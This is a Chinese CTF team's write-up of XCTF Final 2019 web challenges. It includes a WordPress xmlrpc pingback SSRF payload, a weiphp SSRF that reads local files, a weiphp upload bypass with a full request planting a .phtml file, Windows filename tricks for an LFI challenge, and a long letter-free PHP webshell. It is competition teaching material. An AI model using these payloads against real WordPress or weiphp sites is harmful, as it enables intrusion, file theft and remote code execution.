XCTF Final 2019 Web Write Up

我们 SU 这次一共做出了3个 Web ,由于今年 XCTF Final 的时间不是特别好,我们队其他师傅有考试的考试,基本就现场的两个 Web 手在做,最后 LFI2019 比较可惜,如果多个几 min 我们就可以出了,实在可惜。下面就写写本次的 Web Write Up。

[TOC]

Web

babyblog

界面跟 Byte CTF 的babyblog 一致,有些功能还保留着,很有误导性…以为是个升级版,前者是一道二次注入后用 php 正则 /e 特性来执行命令的,所以我们一开始也就一直在日注入了…

后来我发现 /user 个人界面有 ip 记录,于是尝试 XFF 注入无果,但是可以把 XFF 直接回显到页面上。发现 /server_status ,发现有大家的访问记录。陷入思考ing…

队友突然看到有一个访问记录 /user/1.css (类似的这么一个路由,不太想得起来了),马上想到可能是缓存投毒,联想跟上文说的 XFF 的设置,想到可以缓存投毒将反射 xss 变成缓存 xss ,这样就可以打到 admin 了。

babypress

这题比较狗血…前一天给了两个 hint :

first hint for babypress: ssrf n-day exploit on the internet will not work

second hint: if you can exploit in your local, it should be possible to exploit in remote.

随便搜一下我们大概可以知道 ssrf n-day 是通过 xmlrpc.php 这个文件来打内网的,然后当晚我们通过 xmlrpc.php 成功进行了 SSRF ,当看到了这两个 hint …我们就感觉不妙,应该打的不是我们这个, but 我们确实打成功了呀…于是我们当晚又加了一会班,当时最新版本是 5.2.4 ,于是我们找到 5.2.4 的 security issue ,然后找到了 更新补丁 ,但是感觉绕不过…以为是个新的绕过方式啥的…

好了,结果到了第二天一开始没人打成功…后来,到了差不多中午主办方又发公告更换环境,当时我们都在看另一个题,也就没管,结果一会有两个队出了…然后我们试了一下昨晚我们打 xmlrpc.php 的,就成了…

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

主要就是要发一个评论以及更改一下第二个参数为他的 host 才行…这题也没啥好说的…感觉全场唯一的槽点(Web)就是这个了。

weiphp

一个叫 weiphp 的 CMS 审计,这个主要是队友看的,我当时做另外一道题去了。我们出的是一个 ssrf 的地方,赛后问了出的师傅,是审了上传的地方。

SSRF

我们全局搜 curl ,可以在 Base.php 中发现有以下代码:

public function post_data($url, $param, $type = 'json', $return_array = true, $useCert = [])
{
  $res = post_data($url, $param, $type, $return_array, $useCert);

  // 各种常见错误判断
  if (isset($res['curl_erron'])) {
    $this->error($res['curl_erron'] . ': ' . $res['curl_error']);
  }
  if ($return_array) {
    if (isset($res['errcode']) && $res['errcode'] != 0) {
      $this->error(error_msg($res));
    } elseif (isset($res['return_code']) && $res['return_code'] == 'FAIL' && isset($res['return_msg'])) {
      $this->error($res['return_msg']);
    } elseif (isset($res['result_code']) && $res['result_code'] == 'FAIL' && isset($res['err_code']) && isset($res['err_code_des'])) {
      $this->error($res['err_code'] . ': ' . $res['err_code_des']);
    }
  }
  return $res;
}

跟进第三行的 post_data ,我们可以在 common.php 中找到该函数:

function post_data($url, $param = [], $type = 'json', $return_array = true, $useCert = [])
{
    $has_json = false;
    if ($type == 'json' && is_array($param)) {
        $has_json = true;
        $param = json_encode($param, JSON_UNESCAPED_UNICODE);
    } elseif ($type == 'xml' && is_array($param)) {
        $param = ToXml($param);
    }
    add_debug_log($url, 'post_data');

    // 初始化curl
    $ch = curl_init();
    if ($type != 'file') {
        add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }

    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件
    if (isset($useCert['certPath']) && isset($useCert['keyPath'])) {
        curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'PEM');
        curl_setopt($ch, CURLOPT_SSLCERT, $useCert['certPath']);
        curl_setopt($ch, CURLOPT_SSLKEYTYPE, 'PEM');
        curl_setopt($ch, CURLOPT_SSLKEY, $useCert['keyPath']);
    }

    $res = curl_exec($ch);
    if ($type != 'file') {
        add_debug_log($res, 'post_data');
    }
    // echo $res;die;
    $flat = curl_errno($ch);

    $msg = '';
    if ($flat) {
        $msg = curl_error($ch);
    }
    // add_request_log($url, $param, $res, $flat, $msg);
    if ($flat) {
        return [
            'curl_erron' => $flat,
            'curl_error' => $msg
        ];
    } else {
        if ($return_array && !empty($res)) {
            $res = $type == 'json' ? json_decode($res, true) : FromXml($res);
        }

        return $res;
    }
}

可以看到 common.php 中的没有什么过滤,所以我们只需要找引用 Base.php 当中的 post_data 函数的地方就行了。我们随便登录一下就可以发现其路由规则了,比如登录路由是 index.php/home/user/login ,对应的是 application/home/controller/User.php 当中的 login() 方法,而 Base.php 跟其他 controller 有以下继承关系:

home/controller/User.php -> home/controller/Home.php -> common/controller/WebBase.php -> common/controller/Base.php

所以 post_data 为 public 方法也可以直接调用,所以根据 post_data 方法的参数,我们需要传入几个参数, url 为 SSRF 的点, param 随笔即可。

这里由于 cms 开启了 debug ,这里要把 type 参数设为 file ,让 post_data 函数在调用 FromXml 函数的时候,由于我们传入诸如 url=file:///etc/passwd 的参数,会导致 simple_xml_load_string 出错

/**
 * 将xml转为array
 */
function FromXml($xml)
{
    if (!$xml) {
        exception("xml数据异常!");
    }
    file_log($xml, 'FromXml');

    // 解决部分json数据误入的问题
    $arr = json_decode($xml, true);
    if (is_array($arr) && !empty($arr)) {
        return $arr;
    }
    // 将XML转为array
    $arr = json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA)), true);
    return $arr;
}

可以看到在图中已经拿到了文件内容回显,所以当时我们就用这个 SSRF 拿到了 flag

upload

application/home/controller/File.php 我们可以看到有这么一个方法

/* 文件上传 到根目录 */
public function upload_root() {
  $return = array(
    'status' => 1,
    'info' => '上传成功',
    'data' => ''
  );
  /* 调用文件上传组件上传文件 */
  $File = D('home/File');
  $file_driver = strtolower(config('picture_upload_driver'));
  $setting = array (
    'rootPath' => './' ,
  );
  $info = $File->upload($setting, config('picture_upload_driver'), config("upload_{$file_driver}_config"));
  //     	$info = $File->upload(config('download_upload'), config('picture_upload_driver'), config("upload_{$file_driver}_config"));
  /* 记录附件信息 */
  if ($info) {
    $return['status'] = 1;
    $return = array_merge($info['download'], $return);
  } else {
    $return['status'] = 0;
    $return['info'] = $File->getError();
  }
  /* 返回JSON数据 */
  return json_encode($return);

}

其中是调用了 application/home/model/File.php 中的一个 upload 函数

public function upload($setting = [], $driver = 'Local', $config = null, $isTest = false)
{
true...
  $info = upload_files($setting, $driver, $config, 'download', $isTest);
  ...
}

这个函数又调用了 application/common.php 当中的 upload_files 函数,然后我们可以发现又这么一段神奇的代码:

if ($type == 'picture') {
  //图片扩展名验证 ,图片大小不超过20M
  $checkRule['ext'] = 'gif,jpg,jpeg,png,bmp';
  $checkRule['size'] = 20971520;
} else {
  $allowExt = input('allow_file_ext', '');
  if ($allowExt != '') {
    $checkRule['ext'] = $allowExt;
  }
  $allowSize = input('allow_file_maxsize', '');
  if ($allowSize > 0) {
    $checkRule['size'] = $allowSize;
  }
}

这里 input('allow_file_ext', ''); 表示我们可以设置允许上传的类型…然后我们随便上传一个试试

POST /weiphp/public/index.php/home/file/upload_root HTTP/1.1
Host: zedd.vv
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------6593480186465200061941970669
Content-Length: 480
Origin: http://zedd.vv
Connection: close
Referer: http://zedd.vv/upload.html
Cookie: PHPSESSID=0cfb281c78e25924ebb7c8abe9084590
Upgrade-Insecure-Requests: 1

-----------------------------6593480186465200061941970669
Content-Disposition: form-data; name="name"; filename="1.phtml"
Content-Type: text/php

<?php
phpinfo();?>
-----------------------------6593480186465200061941970669
Content-Disposition: form-data; name="allow_file_ext"

phtml
-----------------------------6593480186465200061941970669
Content-Disposition: form-data; name="allow_file_maxsize"

1024
-----------------------------6593480186465200061941970669--

虽然报错了但是我们依然上传成功了,直接访问那个路径即可。

lfi2019

在 header 头有一个提示可以拿到源码

X-Hint: /index.php?show-me-the-hint
<?php

/*
Developed by stypr.
Made in 2018, Releasing in 2019!
*/

// Baka flag-sama and seed-chan! //
error_reporting(0);
ini_set("display_errors","off");
@require('flag.php');
$seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));

if($flag === $_GET['trigger']){
die(hash("sha256", $seed . $flag));
}

// Sessions are never used but we add that //
ini_set('session.cookie_httponly', 1); @phpinfo();
ini_set('session.cookie_secure', 1); @phpinfo();
ini_set('session.use_only_cookies',1); @phpinfo();
ini_set('session.gc_probability', 1); @phpinfo();
// but really, you can't really do something with sessions. //
session_save_path('./sess/');
session_name("lfi2019");
session_start();
session_destroy();

// Flush directory for security purposes //
// Referenced it from StackOverflow: https://bit.ly/2MxvxXE //
function rrmdir($dir, $depth=0){
if (is_dir($dir)){
$objects = scandir($dir);
foreach ($objects as $object){
if ($object != "." && $object != ".."){
if(is_dir($dir."/".$object))
rrmdir($dir."/".$object, $depth + 1);
else
unlink($dir."/".$object);
}
}
}
if($depth != 0) rmdir($dir);
}
function countdir($dir){
if (is_dir($dir)){
$objects = scandir($dir);
foreach ($objects as $object){
if ($object != "." && $object != ".."){
$count += 1;
if(is_dir($dir."/".$object))
$count += countdir($dir."/".$object);
}
}
}
return $count;
}
var_dump(countdir("./files"));
if(countdir("./files/") >= 100) @rrmdir("./files/");

// Here, kawaii path-san for you! //
function path_sanitizer($dir, $harden=false){
$dir = (string)$dir;
$dir_len = strlen($dir);
// Deny LFI/RFI/XSS //
$filter = ['.', './', '~', '.\\', '#', '<', '>'];
foreach($filter as $f){
if(stripos($dir, $f) !== false){
return false;
}
}
// Deny SSRF and all possible weird bypasses //
$stream = stream_get_wrappers();
$stream = array_merge($stream, stream_get_transports());
$stream = array_merge($stream, stream_get_filters());
foreach($stream as $f){
$f_len = strlen($f);
if(substr($dir, 0, $f_len) === $f){
return false;
}
}
// Deny length //
if($dir_len >= 128){
return false;
}
truetrue// Easy level hardening //
truetrueif($harden){
truetruetrue$harden_filter = ["/", "\\"];
truetruetrueforeach($harden_filter as $f){
truetruetruetrue$dir = str_replace($f, "", $dir);
truetruetrue}
truetrue}

// Sanitize feature is available starting from the medium level //
return $dir;
}

// The new kakkoii code-san is re-implemented. //
function code_sanitizer($code){
// Computer-chan, please don't speak english. Speak something else! //
$code = preg_replace("/[^<>[email protected]#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
return $code;
}

// Errors are intended and straightforward. Please do not ask questions. //
class Get {
protected function nanahira(){
// senpai notice me //
function exploit($data){
$exploit = new System();
}
$_GET['trigger'] && [email protected]@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
}
private $filename;
function __construct($filename){
$this->filename = path_sanitizer($filename);
}
function get(){
if($this->filename === false){
return ["msg" => "blocked by path sanitizer", "type" => "error"];
}
// wtf???? //
if([email protected]_exists($this->filename)){
// index files are *completely* disabled. //
if(stripos($this->filename, "index") !== false){
return ["msg" => "you cannot include index files!", "type" => "error"];
}

// hardened sanitizer spawned. thus we sense ambiguity //
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}
// .. and finally, include *un*exploitable file is included. //
@include("./files/" . $this->filename);
return ["type" => "success"];
}else{
return ["msg" => "invalid filename (wtf)", "type" => "error"];
}
}
}
class Put {
protected function nanahira(){
// senpai notice me //
function exploit($data){
$exploit = new System();
}
$_GET['trigger'] && [email protected]@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
}
private $filename;
private $content;
private $dir = "./files/";
function __construct($filename, $data){
global $seed;
if((string)$filename === (string)@path_sanitizer($data['filename'])){
$this->filename = (string)$filename;
}else{
$this->filename = false;
}
$this->content = (string)@code_sanitizer($data['content']);
}
function put(){
// just another typical file insertion //
if($this->filename === false){
return ["msg" => "blocked by path sanitizer", "type" => "error"];
}
// check if file exists //
if(file_exists($this->dir . $this->filename)){
return ["msg" => "file exists", "type" => "error"];
}
file_put_contents($this->dir . $this->filename, $this->content);
// just check if file is written. hopefully. //
if(@file_get_contents($this->dir . $this->filename) == ""){
return ["msg" => "file not written.", "type" => "error"];
}
return ["type" => "success"];
}
}

// Triggering this is nearly impossible //
class System {
function __destruct(){
global $seed;
// ain't Argon2, ain't pbkdf2. what could go wrong?
$flag = hash('sha256', $seed);
if($_GET[$flag]){
@system($_GET[$flag]);
}else{
@unserialize($_SESSION[$flag]);
}
}
}

// Don't call me a savage... I gave everything you need //
if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
show_source(__FILE__);
exit;
}

// XSS protection and hints ^-^ //
header('X-Hint: /index.php?show-me-the-hint');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/html; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');

//header("Content-Security-Policy: default-src 'self'; script-src 'nonce-${seed}' 'unsafe-eval';" .
//"font-src 'nonce-${seed}' fonts.gstatic.com; style-src 'nonce-${seed}' fonts.googleapis.com;");

// Hello, JSON! //
$parsed_url = explode("&", $_SERVER['QUERY_STRING']);
if(count($parsed_url) >= 2){
header("Content-Type:text/json");
switch($parsed_url[0]){
case "get":
$get = new Get($parsed_url[1]);
$data = $get->get();
break;
case "put":
$put = new Put($parsed_url[1], $_POST);
$data = $put->put();
break;
default:
$data = ["msg" => "Invalid data."];
break;
}
die(json_encode($data));
}
?>
<!doctype html>
<html>
<head>
<meta charset=utf-8>
<link rel="stylesheet" href="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" nonce="<?php echo $seed; ?>">
<link rel="styleshhet" href="//fonts.googleapis.com/css?family=Muli:300,400,700" nonce="<?php echo $seed; ?>">
<link rel="stylesheet" href="./static/legit.css" nonce="<?php echo $seed; ?>">
<title>LFI2019</title>
</head>
<body>
<div class="modal fade" id="put-modal">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">put2019</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="form-group">
<label for="upload-filename" class="col-form-label">Filename:</label>
<input type="text" class="form-control" id="upload-filename">
</div>
<div class="form-group">
<label for="upload-content" class="col-form-label">Content:</label>
<textarea class="form-control disabled" id="upload-content" rows=10></textarea>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary" id="upload-submit">put();</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="get-modal">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">get2019</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="form-group">
<label for="include-filename" class="col-form-label">Filename:</label>
<input type="text" class="form-control" id="include-filename">
</div>
<div class="form-group">
<textarea class="form-control disabled" id="include-content" disabled rows=10></textarea>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary" id="include-submit">include();</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="info-modal">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
</div>
<div class="modal-body">
<p>
Hi there! We introduce LFI2019 with another technique that never came out on CTFs.
We want to end tedious LFI challenges starting from this year.
Traps are everywhere, so be warned. Good Luck!
</p>
<p>
.. and of course, the main objective for this challenge is absolutely straightforward: Leak the sourcecode of flag file to solve this challenge. flag is located at <code>flag.php</code>.
</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
</div>
</div>
</div>
</div>
<ul class="text hidden">
<li>L</li>
<li class="ghost">e</li>
<li class="ghost">g</li>
<li class="ghost">i</li>
<li class="ghost">t</li>
<li class="spaced">F</li>
<li class="ghost">i</li>
<li class="ghost">l</li>
<li class="ghost">e</li>
<li class="spaced">I</li>
<li class="ghost">n</li>
<li class="ghost">c</li>
<li class="ghost">l</li>
<li class="ghost">u</li>
<li class="ghost">s</li>
<li class="ghost">i</li>
<li class="ghost">o</li>
<li class="ghost">n</li>
<li class="spaced">2019</li>
<br>
truetrue<br>
<div class="hide" id="kawaii">
<center>
<button class="btn col-4 btn-success half" id="get">include</button>
<button class="btn col-4 btn-warning" id="put">upload</button>
<button class="btn col-3 btn-info" id="info">info</button>
<p class="lightgrey">
Reference ID: <b class="ref"><?php echo $seed; ?></b>
</p>
Made with ♥ by stypr.
</center>
</div>
</ul>
<script src="https://code.jquery.com/jquery-3.3.1.min.js" nonce="<?php echo $seed; ?>"></script>
<script src="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" nonce="<?php echo $seed; ?>"></script>
<script src="./static/legit.js" nonce="<?php echo $seed; ?>" defer></script>
</body>
</html>
<!-- https://www.youtube.com/watch?v=OEpeRmPkRIU -->

不过比较无语的是有很多的垃圾代码…可以看到有个出题人留的后门函数,but 因为 code_sanitizer 的过滤

// The new kakkoii code-san is re-implemented. //
function code_sanitizer($code){
// Computer-chan, please don't speak english. Speak something else! //
$code = preg_replace("/[^<>[email protected]#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
return $code;
}

这里我们可以使用无字母的 webshell 来进行一个绕过,可以参考 一些不包含数字和字母的webshell ,这里我就直接放 ROIS 师傅们的无字母 webshell 内容了

<?=$_=[]?><?[email protected]"$_"?><?=$___=$_['!'!='@']?><?=$____=$_[('!'=='!')+('!'=='!')+('!'=='!')]?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____=$__?><?=$__=''?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="."?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____($__)?>

不过他们可能搞错了,这里他们本意想用 <?=?> 来绕过 ; 限制,但是其实 ; 并没有过滤…

最后一步可以说有了,我们来看看前几步, Put 类的 __construct 有一个 path_sanitizer ,我们可以看到有一些检查什么的,没有 false 的情况是不会过滤 / 的,这里初始化的时候不会过滤 /

所以如果我们在写文件的时候,用 put&test/test 去写 test 目录 test 文件, file_put_contents 会因为 test 目录不存在而写不进去。

file_put_contents(./test/test): failed to open stream: No such file or directory

那如果我们直接写进一个 test 文件呢?写是没有问题的,但是我们在用 get 路由读的时候就会发生问题了。

function get(){
if($this->filename === false){
return ["msg" => "blocked by path sanitizer", "type" => "error"];
}
// wtf???? //
if([email protected]_exists($this->filename)){
// index files are *completely* disabled. //
if(stripos($this->filename, "index") !== false){
return ["msg" => "you cannot include index files!", "type" => "error"];
}

// hardened sanitizer spawned. thus we sense ambiguity //
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);
if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}
// .. and finally, include *un*exploitable file is included. //
@include("./files/" . $this->filename);
return ["type" => "success"];
}else{
return ["msg" => "invalid filename (wtf)", "type" => "error"];
}
}

我们仔细看这段代码,由于 path_sanitizer 传入了 true ,这里会把传入的文件名当中 / 过滤为空,然后有一个比较,如果直接拼接得到的路径与拼接上过滤之后得到的路径相等的话,会进一步比较他们的文件内容,如果相等的话就会被 block …而我们要进行 include ,那就需要绕过这两个判断…

什么个意思呢?就是即使文件名相等,内容也不能相等。

但是我们这里要注意 path_sanitizer ,如果我们传入一个含有 / 的文件名那就可以利用这个方法绕过文件名的判断,直接进行包含了。

而题目环境我们可以由一开始的 phpinfo 得到是一个 windows 的环境(虽然赛场是没有的,但是也可以通过各种方法判断一下,比如 nmap 啥的…)

所以我们现在主要就是绕读写文件这一块了。

Trick 1

​ 对于Windows的文件读取,有一个小 Trick :使用 FindFirstFile 这个API的时候,其会把 " 解释为 .

> shell"php === shell.php		//true
>

所以我们可以利用这个 trick ,来构造文件名为 "/test 的文件,什么个意思呢?

$read_file = "./files/./test";
$read_file_with_hardened_filter = "./files/.test";
file_get_contents($read_file) = '实际文件内容';
file_get_contents($read_file_with_hardened_filter) = false //文件不存在

传入的 "/test 文件名,由于这个 trick ,会被 Windows 认为是 ./test ,所以在处理这个方式上就产生了差异也就绕过了两个判断

Trick 2

可以参考 windows的一些特性 这篇文章,文章最后告诉我们,可以上传一个文件名为 test::$INDEX_ALLOCATION 的文件,就相当于创建了一个 test 的文件夹,详细原理可以看该篇文章。

这样我们就可以先用这个 Trick 创建一个文件夹 test ,然后用 put 随意写一个文件 test/file ,在读取的时候,由于 path_sanitizer 会把我们的 / 过滤,就成功绕过了文件名的判断了。绕过了这些就只剩下无字母写 webshell 的问题了。

noxss

单独为这道题开一篇文章来写,真的tql…

tfboys

机器学习的题目,表示不会…地址在 XCTF-2019-tfboys

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章